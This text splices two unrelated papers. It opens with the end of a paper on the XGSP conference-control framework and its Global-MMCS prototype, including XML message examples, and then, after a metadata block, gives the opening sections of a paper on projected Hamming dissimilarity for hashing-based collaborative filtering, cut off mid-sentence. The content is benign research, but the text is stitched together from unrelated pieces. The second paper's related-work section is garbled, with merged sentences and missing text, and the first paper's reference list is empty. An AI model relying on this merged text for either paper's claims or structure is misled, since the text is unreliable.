user should be changed to this role. All the application instances have to parse the message and take appropriate actions. In a XGSP conference, only one chair should be present. It is important to keep the chairmanship and deal with the failure of the chair node. The following messages are introduced to implement this: RequestChair, ReleaseChair, GiveChair and ChairAnnouncement. The initial chairman is defined in the conference description. Other users who want to become a chair, has to send a RequestChair message to the chair for permission. The chairman will send a “GiveChair” back to the requestors if he agrees to give the chair to the new one. “Chair Announcement” is the heat-beat message for the chair user. If the chair node failed and can’t recover, other users with the role capability of chair election have to vote for a new chair. 3.5 XGSP AV Application Session XGSP A/V Session supports multiple kinds of clients including H.323, SIP and Access Grid, which use RTP protocol for their transportation. The NaradaBrokering event overlay provides messaging service to the A/V components. For the transportation of RTP packets over NaradaBroker overlay networks, RTP packets have to be encapsulated into a special NaradaBroker event named RTP event by RTPLinks components in border brokers before they can be routed in the overlay network. And the RTP events also have to be transformed back into normal RTP packets when they leave for their subscribers. Therefore for every legacy RTP A/V endpoints, one corresponding RTPLink needs to be set up at a broker within broker network. In order to get better communication performance in the NaradaBroker overlay, a RTP event uses a 32-bit integer for topics rather than a string keyword. And each RTPLink occupies two NaradaBroker topics to publish its RTP and RTCP data, which means there are many topics for an A/V collaboration group. Therefore in XGSP AV application session management, we need a mapping between SSRC number of each A/V stream and integer topics generated by the NaradaBroker. To support different A/V application endpoints having their own signaling procedures, XGSP framework provides a common XML based signaling protocol for them. H.323 (H.225, H.245) and SIP signaling protocols have to be translated into the XGSP A/V signaling protocol and vice versa. A XGSP A/V session needs H.323, SIP Gateway Servers and an A/V Session Server to deal with the control layer problems of the A/V collaboration system. The H.323 and SIP gateway transform H323 and SIP messages into XGSP signaling messages so that H.323 and SIP A/V endpoints could communicate with the XGSP A/V session server. The session server implements session management logics including creating/destroying A/V sessions, allowing endpoints to join/leave session and make audio/video selection, managing A/V application components like audio mixers, video mixers as well as image grabbers. Based on such a design of XGSP AV application session, when an AV session is created, the XGSP conference manager has to ask AV session server to activate the session. And when a user wants to join this AV session, his node manager will start the A/V application instance and the instance will contact the A/V session servers to join the session. 3.6 Connecting to other collaboration communities using web services The above sections describe the core conference control for XGSP communities. In the section, we discuss about how to build an integrated collaboration system on the scale of community-to-community. Web-services seems to be the best candidate for this conference control framework since it can run across various platforms and is easy to be extended and understood. Figure 3 shows the architecture of the XGSP web-services framework. The overlay networks (or servers) in other communities are connected to the NaradaBroker messaging overlay. And each community provides the state-aware web-services of conference control to the XGSP servers. ![Figure 3 XGSP Web-Services Framework](image) In this community-to-community collaboration system, users can schedule XGSP conferences not only held in XGSP servers but also the servers from other technologies communities. Such a XGSP conference is organized in a hierarchy way: a top-XGSP-conference and multiple sub-XGSP-conferences happened in local communities. Local collaboration managers work like service factories, which can create a conference service instance to communicate with the XGSP conference manager through SOAP RPC [19]. Therefore the components including conference management, application sessions management and floor control can be implemented in this two-level control structure. The XGSP conference manager controls the top-XGSP-conference and the local manager instances only control sub-XGSP-conferences. 1) **Service Creation / Termination** The XGSP conference manager keeps the registries of the communities that would like to connect to the XGSP community. When a user schedules a conference including these communities, the XGSP conference manager has to invoke “Creation-Conference” requests in the manager factories of the local communities. If the request is successful, it will result in the creation of a conference manager instance with the initial lifetime for this conference. When the conference is over, the XGSP conference manager can invoke “Terminate-Conference” to destroy the local manager instance. 2) **Conference Membership Service** The local manager instances in sub-XGSP-conferences can play as an intermediate node to implement the distributed membership maintenance. The XGSP conference manager collects the membership report from the local conference service. And the sub-conference managers collect the local membership reports from the local users. The XGSP conference manager announces the change of the membership to all the users and the local managers. 3) **Application Session Creation / Termination** Only public sessions can be supported in XGSP conferences with multiple communities because the private application sessions are usually not implemented in other collaboration technologies. When a public application session is created in the XGSP conference, the XGSP conference manager will invoke a “create-application-session” request to the local managers. The local managers will create the session by their own mechanisms and try to link their A/V and data channels to the NaradaBroker. Here we give an example to show how we can create an A/V application session in a multiple-community conference. When the XGSP A/V application session is activated, the XGSP conference manager will invoke “create-A/V-session” in all the local managers who use internal mechanisms to connect their A/V servers to the NaradaBroker. For H.323 and SIP communities, they connect with the NaradaBroker by dialing in the H.323 and SIP gateway. Since a MBONE community like AccessGrid, has no signaling procedure, the XGSP servers will launch an AG agent that joins in the multicast A/V groups and forwards the packets between the top XGSP session and the AG multicast groups. 4) **Floor control Mechanism and Policy** Only the conference chairman has the power to set the roles of the users in both the conference and sub-conferences. And only the users in the top conference can have chances to become a chairman. When the conference chairman wants to set the role for a user in sub-conference, the “Set Role” request will be forwarded to the XGSP conference manager. The manager will invoke “Set Role” service in the local manager. The local manager has to employ its own way to execute the role changing procedure. 4. Global MMCS Implementation We have developed a prototype system called Global-MMCS (Global Multimedia Collaboration System) to verify and refine our XGSP conference control framework. Global-MMCS prototype is built based on the NaradaBrokering middleware. All the A/V processing components, including the video mixer, audio mixer as well as the image grabber servers are developed using Java Media Framework [20]. Java Media Framework (JMF) package, which can capture, playback, stream and transcode multiple media formats, gives multimedia developers a powerful toolkit to develop scalable, cross-platform technology. To implement the H.323 gateway and SIP gateway, we use the protocol stacks from the open source projects, including OpenH323 [21] and NIST-SIP [22] project. The A/V Session Server is built to manage real-time A/V sessions, receiving messages from gateways and the web server through different control topics on the NaradaBrokering. The XGSP web server based on Apache Tomcat provides an easy-to-use web interface for users to make meeting schedules, join XGSP conferences and for administrators to perform the tasks of the system management. The XGSP conference manager is implemented as an embedded server in the web container. It can create/destroy conferences, activate/deactivate A/V application sessions and generate the active conference directory to all the users. Users should log into Global-MMCS through their web browsers and select active conferences. The node manager is implemented in an applet running inside the Global-MMCS portal browser. The node manager will show up when the user joins the conference. Right now the node manager can report the membership in the XGSP conference. In addition, it has a few buttons for the available application endpoints, including: a Unicast JMF, H.323, Real Streaming and chat application portlet. Depending upon XGSP AV servers, the Unicast JMF portlet can build up their A/V stream list in a videoconference and allow the user to choose any number of video streams for receiving and rendering. The H323 and Real Streaming portlets are the wrappers for H.323 terminals and RealPlayer, supporting a single video selection and rendering in their particular clients. The chat portlet provides the text chat collaboration. The following figure shows the Global-MMCS web portal and the node manager on the left side. On the right side, the Unicast JMF and chat portlets are displayed. On the left bottom, it is the Real Streaming portlet. 5. Conclusion In this paper, we have described a web-service based framework XGSP for conference control. Under the XGSP framework, we can integrate many collaboration applications into a single intuitive and easy-use environment. For the A/V collaboration, XGSP can support various audio/video endpoints including H.323, SIP and Access Grid. Furthermore XGSP uses web-services to build a community-to-community collaboration to share the global collaboration resources. The XGSP framework is not designed for replacing the frameworks of H.323, SIP as well as Access Grid, but for bridging them based on web-services technology. In this paper we have presented our prototype collaboration system named Global-MMCS, which provides services to heterogeneous endpoints. This collaboration system is developed based on our XGSP collaboration framework and NaradaBrokering messaging middleware. Such an integrated collaboration environment greatly benefits those users that want to enter Access Grid world via H.323, SIP as well as streaming clients. Current Global-MMCS only implemented part functions of the XGSP framework. In the next step, we will try to add the floor control service, more collaboration applications, and extend the scalability of the system to 10,000 users. References Appendix A. A Simple Example and XML fragments In this section, we give a simple example to illustrate the basic procedures of XGSP. Assume a user named “John” schedules a meeting named our chess game from 9:00AM to 12:00AM. The meeting has an A/V, chat, chess application facilities. At 9:00AM, the XGSP conference manager activates this meeting. The user “John”, “Bob” and “Jack” join the meeting. Since John is the conference chair, John creates a chess public session. Bob and Jack join the session. John sets Bob to the white player and Jack to the black player. And John sets himself as an observer. At 11:30, they finished the chess game. John terminates the chess session. At 12:00, the conference manager deactivates the meeting. When the meeting is scheduled, the following schedule record is kept: ```xml < XGSPConference> <ConferenceID> GameRoom </ConferenceID> <ConferenceName> Our Chess Game </ConferenceName> <ConferenceCreator> John </ConferenceCreator> <ConferenceDate> <StartTime> 9:00AM </StartTime> <EndTime> 12:00AM </EndTime> </ConferenceDate> <ConferenceType> Moderated </ConferenceType> <ApplicationList> <ApplicationID> Audio-Video </ApplicationID> <ApplicationID> chat </ApplicationID> <ApplicationID> chess </ApplicationID> </ApplicationList> </XGSPConference> ``` For the chess application, the conference manager has its application registry defining three different roles: black, white and observer. ```xml < ApplicationRegistry> < ApplicationID> chess </ApplicationID> <roles> <role> <roleName> black </roleName> <capabilities> player-first </capabilities> </role> <role> <roleName> white </roleName> <capabilities> player-second </capabilities> </role> <role> <roleName> observer </roleName> <capabilities> non-player </capabilities> </role> </roles> </ApplicationRegistry> ``` At 9:00AM, the XGSP conference manager activates this meeting. John creates a chess public session. The following XML segment shows the message of “Create-Application-Session” indicating the new application session ID is “chess-0”. ```xml <CreateAppSession> <ConferenceID> GameRoom </ConferenceID> <ApplicationID> chess </ApplicationID> <AppSessionID> chess-0 </AppSessionID> <AppSession-Creator> John </AppSession-Creator> <Private> false </Private> </CreateAppSession> ``` After Bob and Jack join the session, John sets Bob to the white player, Jack to the black player and himself to an observer. The following XML segment shows the content of the “Set-Application-Role” messages: ```xml <SetAppRole> <AppSessionID> chess-0 </AppSessionID> <UserID> Bob </UserID> </SetAppRole> ``` At 11:30, they finished the chess game. John terminates the chess session and they leave the conference. At 12:00, the conference manager deactivates the meeting. The following XML segments show the messages “Terminate-Application-Session” and “Terminate-Conference”. ```xml <TerminateAppSession> <ConferenceID>GameRoom</ConferenceID> <AppSessionID>chess-0</AppSessionID> </TerminateAppSession> <TerminateConference> <ConferenceID>GameRoom</ConferenceID> <Reason>the conference is over</Reason> </TerminateConference> ```
{"Source-Url": "https://surface.syr.edu/cgi/viewcontent.cgi?article=1090&context=eecs", "len_cl100k_base": 8316, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 30569, "total-output-tokens": 9813, "length": "2e13", "weborganizer": {"__label__adult": 0.0003056526184082031, "__label__art_design": 0.0006532669067382812, "__label__crime_law": 0.0003159046173095703, "__label__education_jobs": 0.0024700164794921875, "__label__entertainment": 0.00020241737365722656, "__label__fashion_beauty": 0.0001462697982788086, "__label__finance_business": 0.0003757476806640625, "__label__food_dining": 0.0003514289855957031, "__label__games": 0.0009965896606445312, "__label__hardware": 0.002964019775390625, "__label__health": 0.0004448890686035156, "__label__history": 0.0004074573516845703, "__label__home_hobbies": 7.647275924682617e-05, "__label__industrial": 0.00046443939208984375, "__label__literature": 0.0002739429473876953, "__label__politics": 0.0002689361572265625, "__label__religion": 0.0004715919494628906, "__label__science_tech": 0.135009765625, "__label__social_life": 0.00015366077423095703, "__label__software": 0.06304931640625, "__label__software_dev": 0.78955078125, "__label__sports_fitness": 0.00028824806213378906, "__label__transportation": 0.0006122589111328125, "__label__travel": 0.00033926963806152344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43662, 0.02077]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43662, 0.04359]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43662, 0.89074]], "google_gemma-3-12b-it_contains_pii": [[0, 989, false], [989, 4892, null], [4892, 8129, null], [8129, 12875, null], [12875, 15041, null], [15041, 19795, null], [19795, 24847, null], [24847, 30218, null], [30218, 33734, null], [33734, 36549, null], [36549, 40464, null], [40464, 43131, null], [43131, 43662, null]], "google_gemma-3-12b-it_is_public_document": [[0, 989, true], [989, 4892, null], [4892, 8129, null], [8129, 12875, null], [12875, 15041, null], [15041, 19795, null], [19795, 24847, null], [24847, 30218, null], [30218, 33734, null], [33734, 36549, null], [36549, 40464, null], [40464, 43131, null], [43131, 43662, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43662, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43662, null]], "pdf_page_numbers": [[0, 989, 1], [989, 4892, 2], [4892, 8129, 3], [8129, 12875, 4], [12875, 15041, 5], [15041, 19795, 6], [19795, 24847, 7], [24847, 30218, 8], [30218, 33734, 9], [33734, 36549, 10], [36549, 40464, 11], [40464, 43131, 12], [43131, 43662, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43662, 0.04484]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
6c20b3a2202e6b69220d7d471da5852ac2b1af1e
Projected hamming dissimilarity for bit-level importance coding in collaborative filtering Hansen, Christian; Hansen, Casper; Simonsen, Jakob Grue; Lioma, Christina Published in: DOI: 10.1145/3442381.3450011 Publication date: 2021 Document version Publisher's PDF, also known as Version of record Document license: CC BY Citation for published version (APA): Projected Hamming Dissimilarity for Bit-Level Importance Coding in Collaborative Filtering Christian Hansen University of Copenhagen c.hansen@di.ku.dk Jakob Grue Simonsen University of Copenhagen simonsen@di.ku.dk Casper Hansen University of Copenhagen chrh@di.ku.dk Christina Lioma University of Copenhagen c.lioma@di.ku.dk ABSTRACT When reasoning about tasks that involve large amounts of data, a common approach is to represent data items as objects in the Hamming space where operations can be done efficiently and effectively. Object similarity can then be computed by learning binary representations (hash codes) of the objects and computing their Hamming distance. While this is highly efficient, each bit dimension is equally weighted, which means that potentially discriminative information of the data is lost. A more expressive alternative is to use real-valued vector representations and compute their inner product; this allows varying the weight of each dimension but is many magnitudes slower. To fix this, we derive a new way of measuring the dissimilarity between two objects in the Hamming space with binary weighting of each dimension (i.e., disabling bits): we consider a field-agnostic dissimilarity that projects the vector of one object onto the vector of the other. When working in the Hamming space, this results in a novel projected Hamming dissimilarity, which by choice of projection, effectively allows a binary importance weighting of the hash code of one object through the hash code of the other. We propose a variational hashing model for learning hash codes optimized for this projected Hamming dissimilarity, and experimentally evaluate it in collaborative filtering experiments. The resultant hash codes lead to effectiveness gains of up to +7% in NDCG and +14% in MRR compared to state-of-the-art hashing-based collaborative filtering baselines, while requiring no additional storage and no computational overhead compared to using the Hamming distance. KEYWORDS importance coding; hash codes; collaborative filtering ACM Reference Format: 1 INTRODUCTION Hashing-based learning aims to find short binary representations of data objects (called hash codes) that allow effective and efficient computations. For tasks involving multiple interacting objects, hash codes must be chosen carefully to ensure that certain properties of the codes (e.g., their inner products or mutual distance) carry information relevant to the task. For example, in hashing-based collaborative filtering, binary user and item representations must be learned so that the distance between them reflects how much user $u$ likes item $i$. Currently, the most efficient way of doing this is to compute their Hamming distance, which is the sum of differing bits between two hash codes. However, by definition, the Hamming distance weighs each bit equally. This is a problem because the importance of the underlying properties encoded by each bit may differ. An alternative is to use real-valued vectors and compute their inner product, which allows varying the weight of each dimension, and thus enables a dimension-specific importance weighting not possible using the Hamming distance for binary codes. However, binary codes allow large storage reductions compared to floating point representations, while the Hamming distance enables massively faster computations compared to the inner product (e.g., real-time brute-force search in a billion items [23]). Motivated by this, we ask: can we introduce bit-level importance weighting on binary representations without compromising efficiency? We reason that, by the definition of the inner product, the distance between two vectors $u$ and $i$ should be identical to the difference in length between vector $u$ and vector $i$’s projection on $u$. This observation can be exploited by using a vector space where projections and lengths can be computed several magnitudes more efficiently than in Euclidean space. We show that performing the exact same projection and length computations in the Hamming vector space over $\mathbb{Z}_2$ results in a novel projected Hamming dissimilarity, which corresponds to traditional measures used in real-valued representations. By choice of projection in the Hamming space, the projected Hamming dissimilarity effectively allows a bit-level binary weighting (corresponding to disabling bits) of $i$’s hash code via the hash code of $u$, but without decreasing efficiency compared to the Hamming distance. We propose a variational hashing model for learning hash codes optimized for our projected Hamming dissimilarity, which we experimentally evaluate in collaborative filtering experiments. Compared to state-of-the-art baselines using the Hamming distance, we observe effectiveness gains of up to +7% in NDCG and +14% in MRR, while also significantly improving the convergence rate during model training compared to optimizing with the Hamming distance. In summary, we contribute the first alternative to the Hamming distance for hashing-based learning that allows bit-level importance coding, while requiring no additional storage and no computational overhead. We make our code publicly available.\footnote{The code is available at https://github.com/casperhansen/Projected-Hamming-Dissimilarity} \section{Related Work} Matrix factorization is one of the most popular collaborative filtering methods\cite{14}, but to reduce storage requirements and speed up computation, hashing-based collaborative filtering has been researched. For hashing-based methods, the users and items are represented as binary hash codes (as opposed to real-valued vectors), which traditionally have used the highly efficient Hamming distance (as opposed to the inner product) for computing user-item similarities. In the following, we review the literature on both binary representation learning and importance coding of such binary representations. \subsection{Learning Binary Representations (Hash Codes)} Early hashing-based collaborative filtering methods include two stages: First, real-valued representations of the data (vectors) are learned, and then the real-valued vectors are transformed into binary hash codes. Zhang et al.\cite{34} use matrix factorization initially, followed by a binary quantization of rounding the real-valued vectors, while ensuring that the hash code is preference preserving with respect to observed properties of the data using their Constant Feature Norm constraint. Zhou and Zha\cite{35} and Liu et al.\cite{19} both explore binary quantization strategies based on orthogonal rotations of the real-valued vectors, which share similarities with Spectral Clustering\cite{28}. However, the two-stage approaches often suffer from large quantization errors\cite{17,30}, because the hash codes are not learned directly, but rather based on different quantization procedures. More recently, hash codes are learned directly: this has been done using relaxed integer optimization while enforcing bit balancing and decorrelation constraints \cite{30}; and (ii) using an autoencoder to learn the codes in an end-to-end manner \cite{7}. The latter approach is most similar to the variational hashing model proposed in our work for optimizing hash codes for cold-start recommendation based on generalizing hash codes \cite{5}, and query-adaptive weights \cite{12,31}. While fixed weights enable faster retrieval than dynamic weights, they all share the same limitation of being significantly less efficient than the Hamming distance, because they can no longer be expressed using highly efficient Boolean hardware-level operations. Furthermore, in addition to the increased storage requirement due to the weights, transferring the weights to the lowest level of memory (i.e., the register) adds additional computational overhead compared to the Hamming distance. More recent work addresses the problem that hash codes have reduced representational power compared to real-valued vectors, but increasing the hash code dimensionality to match the amount of bits used in the real-valued case hurts model generalization\cite{17}. An alternative, in the task of collaborative filtering, is Compositional Coding for Collaborative Filtering (CCCF)\cite{17}, which is a broadly similar method to learning compositional codes for (word) embedding compression\cite{3,25}. CCCF is a hybrid of hash codes and real-valued weights: each hash code is split into $k$ blocks of $r$ bits each, and each block is associated with a real-valued scalar indicating the weight of the block. The distance between two CCCF hash codes is then computed as a weighted sum of the Hamming distances of the individual blocks, where each weight is the product of each block’s weight. The problem with this approach is that each block requires an individual Hamming distance computation, as well as floating point multiplications of the block weights. In fact, the CCCF block construction no longer allows for highly efficient Boolean operations because the distance computation is weighted by each block’s weight. In contrast to the above approaches, our projected Hamming dissimilarity can exploit the same highly efficient Boolean operations as the Hamming distance, while enabling a bit-level binary weighting on hash codes without reducing efficiency. \section{Bit-Level Importance Coding in Hash Codes} \subsection{Preliminaries} Given two data objects $u$ and $i$, let $z_u \in \{-1, 1\}^m$ and $z_i \in \{-1, 1\}^m$ denote their hash codes, where $m$ is the number of bits in the hash code, which is typically chosen to fit into a machine word. The Hamming distance $d_H$ between $z_u$ and $z_i$ is defined as: $$d_H(z_u, z_i) = \sum_{j=1}^{m} \left[ z_u^j \oplus z_i^j \right] = \text{SUM}(z_u \text{ XOR } z_i)$$ which can be computed very efficiently due to the Boolean operations on the word level, and the SUM which is computed using the \texttt{popcnt} bit string instruction. Because Hamming distance is integer-valued, the Hamming distances between several pairs of objects can be linear-time sorted using e.g. radix sort (Hamming distances must be elements of $[0, m]$, hence they are bounded) in ascending order. order to create a ranked list, allowing for very fast object similarity computation in data-heavy tasks like information retrieval [23]. The above definition clearly shows the efficiency strength of the Hamming distance, but also its weakness in weighting each bit-dimension equally, even though the underlying data properties encoded by some bits may be more discriminative than those of others. In contrast, representations using real-valued vectors and the inner product allow varying the weight of each dimension, and thus enable a dimension-specific importance weighting not possible using the Hamming distance for binary codes. Next, we show how we derive a new way of measuring the dissimilarity between $u$ and $i$ in the Hamming space with binary weighting of each dimension. ### 3.2 Projected Hamming dissimilarity for bit-level importance coding Let $V$ be a vector space over any field $F$, and let $P_{\cdot}(\cdot)$ be a projection operator on $V$, i.e., for each fixed $\bar{u}, \bar{i} \in V, P_{\bar{u}}(\cdot): V \to V$ is a linear map such that $$P_{\bar{u}}(P_{\bar{u}}(\bar{i})) = P_{\bar{u}}(\bar{i}).$$ (2) In the following, we consider an asymmetric relationship between two objects $\bar{u}$ and $\bar{i}$, such that $\bar{u}$ is considered a query object used for searching among data items denoted as $\bar{i}$. We consider both query and data items as elements of $V$. Intuitively, each dimension of $V$ corresponds to a property of potential importance to a query (e.g., classical music); the projection of each query on the dimension corresponds to the strength of importance, and the projection of each item on the dimension corresponds to how much the item scores on that dimension. Let $|| \cdot ||: V \to \mathbb{R}$ be a norm on $V$; we define the dissimilarity between $\bar{u}$ and $\bar{i}$, denoted $\delta(\bar{u}, \bar{i})$, as the norm of the projection of $\bar{i}$ on $\bar{u}$: $$\delta(\bar{u}, \bar{i}) = ||\bar{u} - P_{\bar{u}}(\bar{i})||.$$ (3) Similarly to Eq. 1, the more different $u$ and $i$ are, the higher their dissimilarity $\delta(\bar{u}, \bar{i})$ should be. The dissimilarity is a natural concept: several existing notions of distance or similarity can be seen as special cases of Eq. 3. For example, in the standard Euclidean space the often-used cosine distance $1 - \cos(\bar{u}, \bar{i})$, is one instance of Eq. 3 if we assume unit length vectors. In hashing-based search, we are particularly interested in the binary vector space $V = \{-1, 1\}^m$, with bitwise addition and scalar multiplication over the field $F = \mathbb{Z}_2$, where the projection operator is given by: $$P_{z_u}(z_i) = z_u \text{ AND } z_i$$ (4) for $z_u, z_i \in V$, i.e., masking the item hash code $z_i$ by the query hash code $z_u$. Due to working in the Hamming space, the norm $|| \cdot ||$ is chosen as the Hamming norm (sometimes also called the zero norm or $L_0$). Using this, we obtain the projected Hamming dissimilarity $\delta_H^P$, defined as: $$\delta_H^P(z_u, z_i) = ||z_u - P_{z_u}(z_i)|| = \text{SUM}(z_u \text{ XOR } (z_u \text{ AND } z_i))$$ (5) $\delta_H^P(z_u, z_i)$ is a natural way of measuring the dissimilarity between $u$ and $i$ in the Hamming space with binary weighting of each dimension. While having a similar formulation as the Hamming distance (see Eq. 1), the projection of the item hash code $z_i$ onto the query hash code $z_u$ in Eq. 5 allows a binary importance weighting of $z_i$, which corresponds to disabling unimportant bits as defined by the query hash code $z_u$ (corresponding to the bit-dimensions where the query hash code is -1). We consider bits to be disabled since a -1 bit in $z_u$ leads to all item hash codes also having a -1 in that bit after the projection. Note that due to the choice of projection, the projected Hamming dissimilarity is asymmetric (i.e., in general $\delta_H^P(z_u, z_i) \neq \delta_H^P(z_i, z_u)$), whereas the Hamming distance is symmetric. Compared to the Hamming distance, the projected Hamming dissimilarity fundamentally changes the purpose of the query hash code: instead of each dimension encoding a positive or negative preference for a property, it now encodes which properties of the item are important to the query (-1’s from the query hash code are copied to the item due to the AND operation). Thus, this formulation can produce query-specific item representations while still only using a single code for each query and item respectively. #### 3.2.1 Speeding up the projected Hamming dissimilarity The projected Hamming dissimilarity in Eq. 5 requires one additional Boolean operation compared to the Hamming distance. However, because the item codes are static once learned, we can reduce the time complexity to the same as the Hamming distance by observing that: $$\delta_H^P(z_u, z_i) = \text{SUM}(z_u \text{ XOR } (z_u \text{ AND } z_i)) = \text{SUM}(z_u \text{ AND } \text{NOT } z_i)$$ (6) where (NOT $z_i$) can be precomputed and stored instead of the original item hash codes, thus requiring no additional storage and the same number of Boolean operations as the Hamming distance. Next, we present how the projected Hamming dissimilarity can be used for learning hash codes in collaborative filtering, where, notationally, a user takes the role of the query, and items are to be recommended based on their relevance to the user. ### 4 PROJECTED HAMMING DISSIMILARITY IN COLLABORATIVE FILTERING We propose a variational hashing model for collaborative filtering that learns user and item hash codes optimized for our projected Hamming dissimilarity. To derive a variational framework for hashing-based collaborative filtering, we define the likelihood of a user $u$ as the product over the likelihoods of the observed user specified ratings: $$p(u) = \prod_{i \in I_u} p(R_{ui}), \quad p(i) = \prod_{u \in I_i} p(R_{ui})$$ (7) where $I_u$ is the set of items rated by user $u$, and $I_i$ is the set of users who have rated item $i$. This formulation enforces a dual symmetric effect of users being defined by all their rated items, and items being defined by the ratings provided by all the users. To maximize the likelihood of all observed items and users, we need to maximize the likelihood of the observed ratings $p(R_{ui})$. Note that instead of maximizing the raw likelihood, we consider the log-likelihood to derive the objective below. We assume that the likelihood of a rating, $p(R_{ui})$, is conditioned on two latent vectors: a user hash code $z_u$, and an item hash code $z_i$. We sample the hash code of a user or item by performing $m$ Bernoulli trials, which as a prior is assumed to have equal probability of sampling -1 and 1 ($p(z_i)$ and $p(z_u)$ below). This yields the following log-likelihood to be maximized: $$\log p(R_{u,i}) = \log \left( \sum_{z_i, z_u \in \{-1, 1\}^m} p(R_{u,i} | z_u, z_i) p(z_i) p(z_u) \right)$$ (8) However, this is intractable to compute, hence we derive a lower bound. First, we define the learned approximate posterior distributions for the user and item hash codes as $q_\phi(z_i|i)$ and $q_\psi(z_u|u)$, respectively, where $\psi$ and $\phi$ are the distribution parameters. Next, we multiply and divide with the approximate posterior distributions, rewrite to an expectation, and finally apply Jensen’s inequality to obtain a lower bound on the log-likelihood: $$\log p(R_{u,i}) \geq \mathbb{E}_{q_\phi(z_i|i), q_\psi(z_u|u)} \left[ \log \left( p(R_{u,i} | z_u, z_i) \right) \right]$$ $$+ \log p(z_i) - \log q_\phi(z_i|i) + \log p(z_u) - \log q_\psi(z_u|u)$$ (9) Since $z_i$ and $z_u$ will be sampled independently, then $q_\phi(z_i|i)$ and $q_\psi(z_u|u)$ are independent and we can rewrite to the variational lower bound: $$\log p(R_{u,i}) \geq \mathbb{E}_{q_\phi(z_i|i), q_\psi(z_u|u)} \left[ \log \left( p(R_{u,i} | z_u, z_i) \right) \right]$$ $$- \text{KL}(q_\phi(z_i|i) | p(z_i)) - \text{KL}(q_\psi(z_u|u) | p(z_u))$$ (10) where $\text{KL}(\cdot | \cdot)$ is the Kullback-Leibler divergence. Thus, to maximize the expected log-likelihood of the observed rating, we need to maximize the conditional log-likelihood of the rating, while minimising the KL divergence between the approximate posterior and prior distribution of the two latent vectors. Maximizing the expected conditional log-likelihood can be considered as a reconstruction term of the model, while the KL divergence can be considered as a regularizer. Next we present the computation of the approximate posterior distributions $q_\phi(z_i|i)$ and $q_\psi(z_u|u)$ (Section 4.1) and the conditional log-likelihood of the rating $p(R_{u,i} | z_u, z_i)$ (Section 4.2). ### 4.1 Computing the approximate posterior distributions The approximate posterior distributions can be seen as two encoder functions modelled as embedding layers in a neural network. Each encoder function maps either a user or an item to a hash code. We present below the derivation of the encoder function for the user (the item function is computed in the same way). The probability of the $j$’th bit is given by: $$q^{(j)}_\phi(z_u|u) = \sigma(E^{(j)}_u)$$ (11) where $E^{(j)}_u$ is the $j$’th entry in a learned real-valued embedding $E$ for user $u$, and $\sigma$ is the sigmoid function. The $j$’th bit is then given by: $$z_u^{(j)} = \left\lfloor \sigma(E^{(j)}_u) - \mu^{(j)} \right\rfloor - 1$$ (12) where $\mu^{(j)}$ is either chosen stochastically by sampling $\mu^{(j)}$ from a uniform distribution in the interval [0,1], or chosen deterministically to be 0.5 (deterministic choice allows to obtain fixed hash codes for later evaluation). As the sampling is non-differentiable, a straight-through estimator [1] is used for backpropagation. ### 4.2 Computing the conditional log-likelihood The conditional log-likelihood can be considered a reconstruction of the rating, given the user and item hash codes. Similarly to [16], we model the observed ratings as a ground truth rating with additive Gaussian distributed noise, which is then discretized to the observed categorical rating. The conditional log-likelihood can then be computed as: $$p(R_{u,i} | z_u, z_i) = N(R_{u,i} - f(z_u, z_i), \sigma^2)$$ (13) where $f(z_u, z_i)$ is a function that reconstructs the rating given the user and item hash codes. Maximising the log-likelihood $\log p(R_{u,i} | z_u, z_i)$ corresponds to minimising the mean squared error (MSE) between $R_{u,i}$ and $f(z_u, z_i)$, which is done for training the model. Existing work on hashing-based collaborative filtering [17, 30] also employs a MSE objective, and thus makes the same Gaussian distribution assumption as done here. We define the reconstruction function to be our proposed projected Hamming dissimilarity: $$f(z_u, z_i) = g(\delta^P_{(z_u, z_i)})$$ (14) where $g$ is a fixed affine transformation that maps the interval of the projected Hamming dissimilarity to the interval of the ratings, such that the minimum and maximum of the dissimilarity correspond to the minimum and maximum of the ratings. It should be noted that while variational autoencoders are generative models, we do not explicitly utilize this in the model, as we are primarily concerned with the reconstruction of the observed ratings. This is standard in the related domain of semantic hashing [6, 8, 9, 24]. # 5 EXPERIMENTAL EVALUATION We evaluate the effectiveness and efficiency of the projected Hamming dissimilarity for bit-level importance coding in hash codes in collaborative filtering experiments, where the task is to recommend relevant items to users. Items and users are represented as learned hash codes, and user-item relevance is approximated by operations (such as the Hamming distance or the projected Hamming dissimilarity) on those hash codes. ### 5.1 Datasets We use 4 publicly available datasets commonly used in prior work [15, 17, 18, 20, 30, 33] and summarized in the bottom of Table 1. The datasets comprise two movie rating datasets, Movielens 1M (ML-1M)\(^3\) and Movielens 10M (ML-10M)\(^4\); a Yelp dataset with ratings of e.g., restaurant and shopping malls\(^5\); and a book rating dataset from Amazon\(^6\) [10]. Following Rendle et al. [20], we remove users and items with less than 10 ratings. Following Zhang et al. [30], for each user 50% of the ratings are used for testing, 42.5% for training, and the last 7.5% for validation. If a user rates an item multiple times, only the first rating is kept. \(^3\)https://grouplens.org/datasets/movielens/1m/ \(^4\)https://grouplens.org/datasets/movielens/10m/ \(^5\)https://www.yelp.com/dataset/challenge \(^6\)http://jmcauley.ucsd.edu/data/amazon/ 5.2 Evaluation metrics We measure the effectiveness with the mean Normalised Discounted Cumulative Gain 